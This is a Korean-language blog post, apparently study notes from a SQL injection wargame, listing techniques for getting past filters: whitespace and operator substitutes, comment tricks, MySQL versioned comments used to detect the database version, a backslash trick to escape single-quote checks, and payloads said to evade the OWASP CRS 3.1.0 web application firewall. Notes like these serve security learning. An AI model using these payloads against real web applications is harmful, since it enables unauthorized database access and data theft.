SQL Injection 필터링 우회
공백 문자 우회
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
\n(Line Feed) -> %0a
\t(TAB) -> %09
\r(Carrage Return) -> %0d
/**/(주석)
소괄호() ex) id='()or(id='admin') #
더하기(+) ex) id='+or+id='admin' #
%0b, %0c
대괄호[] ex) select[id]from[table]
논리연산자 우회
1
2
3
or -> ||
AND -> && -> %26%26
비교연산자 우회
1
= -> like, in으로 대체
주석처리
1
2
3
1. -- 공백 -> -- 뒤에 공백 있어야 함, 한줄 주석
2. # -> %23 -> 한줄 주석
1
2
3
4
5
6
7
8
3. /* */ -> 사이에 있는 문자열만 주석
-> /* /* */ */ 이렇게 있으면 먼저 열리고 먼저 닫힌 것 사이만 주석처리
ex) select id from rubiya where id='admin' /*or 1/* and id='admin'*/
-> 실행됨.
ex) select id from rubiya where id='admin' /*or 1/* and */id='admin'*/
-> 에러
1
4. ;%00 -> ;와 NULL이 합쳐진 주석
1
2
3
4
5
5. /*!a b*/ -> a에는 mysql version, b에는 sql 문
-> 해당 db 버전이 a 미만일 때 주석 처리됨.
https://dev.mysql.com/doc/refman/8.0/en/comments.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ex) /*!50000 or id='admin'*/ -> 해당 db가 5.X버전 이하이면 주석 실행
mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.7.32-0ubuntu0.18.04.1 |
+-------------------------+
mysql> select id from rubiya where id='' /*!60000 or id='admin'*/;
Empty set (0.00 sec)
-> 내 버전은 5.7이므로 6버전 이하라서 주석 실행
mysql> select id from rubiya where id='' /*!50000 or id='admin'*/ ;
+-------+
| id |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)
이거로 db 버전을 알아낼 수도 있음.
1
2
3
4
5
6
7
8
9
mysql> select /*!50732 1/0, */ 1 from rubiya;
+------+---+
| 1/0 | 1 |
+------+---+
| NULL | 1 |
| NULL | 1 |
| NULL | 1 |
+------+---+
3 rows in set, 3 warnings (0.00 sec)
1
2
3
4
5
6
7
8
9
mysql> select /*!50733 1/0, */ 1 from rubiya;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
1
2
3
5.07.32는 주석 처리가 안되고 5.07.33에서는 주석처리 되는 것을 보아
이 db의 버전은 5.07.32인 것을 알아낼 수 있음.
싱글쿼터 우회
1
2
3
4
1. 더블쿼터 사용
2. 백슬래쉬 사용(\) ex) id='\' and pw='or 1 #'
-> id 값으로 \' and pw=이 들어가고 그 뒤에 or 1 # 되면서 작동
CRS 3.1.0 WAF 우회
1
2
3
4
5
6
7
8
9
1. {`a` b} -> a는 함수 이름(아무거나), b는 sql문
ex) ?id='' or {`if` 1} %23
2. <@
ex) ?id=' <@ or 1 %23
ex) ?id=' <@ union/**/select 1 %23
This post is licensed under CC BY 4.0 by the author.